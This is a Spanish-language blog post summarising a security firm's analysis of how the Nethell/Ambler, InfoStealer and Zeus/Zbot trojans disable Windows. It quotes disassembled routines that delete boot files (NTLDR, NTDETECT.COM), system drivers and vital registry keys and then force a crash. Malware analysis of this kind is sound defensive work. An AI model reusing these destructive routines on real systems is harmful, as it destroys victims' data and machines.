Cuando un bot recibe la orden de inutilizar Windows
Fantástico artículo (en inglés que hemos traducido aquí) de los chicos de s21Sec donde han analizado los siguientes troyanos, InfoStealer, Zeus/Zbot y Nethell/Ambler.
¿Cuáles son los motivos para que un bot inutilice el sistema operativo y deje el equipo fuera de conexión?. Pues por ejemplo para desaparecer y no dejar rastro haciendo más complicado un análisis posterior. Otro motivo, sobre todo para los troyanos que intentan robar cuentas de banco, sería dejar el equipo de la víctima inutilzado para ganar tiempo y de este modo hacer las transferencias o las operaciones que necesiten mientras la víctima está desconectada de Internet.
Esto son los ejemplos:
Nethell/Ambler: en este caso localizar la subrutina que inutiliza Windows no ha sido difícil de localizar, ya que se llama "KILLWIN" "KILLWINANDREBOOT".
Este es el código:
mov esi, offset aCNtdetect_com ; "C:\\NTDETECT.COM" push edi push esi call GetFileAttributesA mov edi, SetFileAttributesA and al, 0F8h push eax push esi call edi push esi call DeleteFileA mov esi, offset aCNtldr ; "C:\\ntldr"
Este código borra el fichero NTDETECT.COM y el fichero NTLDR, pero antes de eliminarlo quita los bits de los atributos de oculto/sistema/sólo lectura. El otro comando KILLWINANDREBOOT hace lo mismo pero luego reinicia el sistema.
InfoStealer:
push offset aDrivers_sys ; "\\drivers\\*.sys" push eax ; Dest call ds:wcscat push 1 ; hFindFile push offset delete ; int lea eax, [ebp+FileName] push 98967Fh ; int push eax ; lpFileName call recursive_findfile add esp, 18h call reboot
Efectivo al más no poder, el código intenta borrar cada driver que se encuentra dentro del directorio System32.
De paso también elimina las entradas de registro necesarias para crear una sesión (logon):
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell = Explorer.exe UIHost = logonui.exe HKLM\SYSTEM\CurrentControlSet\Services\DcomLaunch\Parameters ServiceDll = rpcss.dll HKLM\SYSTEM\CurrentControlSet\Services\RpcSs\Parameters ServiceDll = rpcss.dll
Zeus/ZBot:
push eax
push 80000001h call ds:SHDeleteKeyA mov eax, ds:buffer push dword ptr [eax+50h] mov esi, 80000002h push esi call ds:SHDeleteKeyA mov eax, ds:buffer push dword ptr [eax+54h] push esi call ds:SHDeleteKeyA push 3E8h call ds:Sleep xor eax, eax push eax push eax push eax push eax mov eax, ds:buffer push 0Eh push dword ptr [eax+30h] call write_read_namedpipe
Se carga las siguientes ramas vitales del registro de Windows:
HKEY_CURRENT_USER, HKEY_LOCAL_MACHINE\software HKEY_LOCAL_MACHINE\system
Pero esto no acaba aquí, cuando ha borrado todo lo anterior, ahora genera un BSOD con el siguiente código:
push 8007h call eax ; <--- SetErrorMode, to ignore everything xor eax, eax mov [eax], eax xor eax, eax ; from address 0x00000000 - 0xFFFFFFFF loc_1: mov byte ptr [eax], 0 ; fill the memory with zeros inc eax jmp short loc_1
Impresionante, que mala leche ;)
Artículo original de:
Buscar
Entradas Recientes
- Posts
- Reemplazando la bateria del AirTag
- OpenExpo Europe décima edición, 18 de mayo: El Epicentro de la Innovación y la Transformación Digital
- Docker Init
- Kubernetes para profesionales
- Agenda: OpenExpo Europe 2022 llega el 30 de junio en formato presencial
- Libro 'Manual de la Resilencia', de Alejandro Corletti, toda una referencia para la gestión de la seguridad en nuestros sistemas
- Mujeres hackers en ElevenPaths Radio
- Creando certificados X.509 caducados
- Generador de imágenes Docker para infosec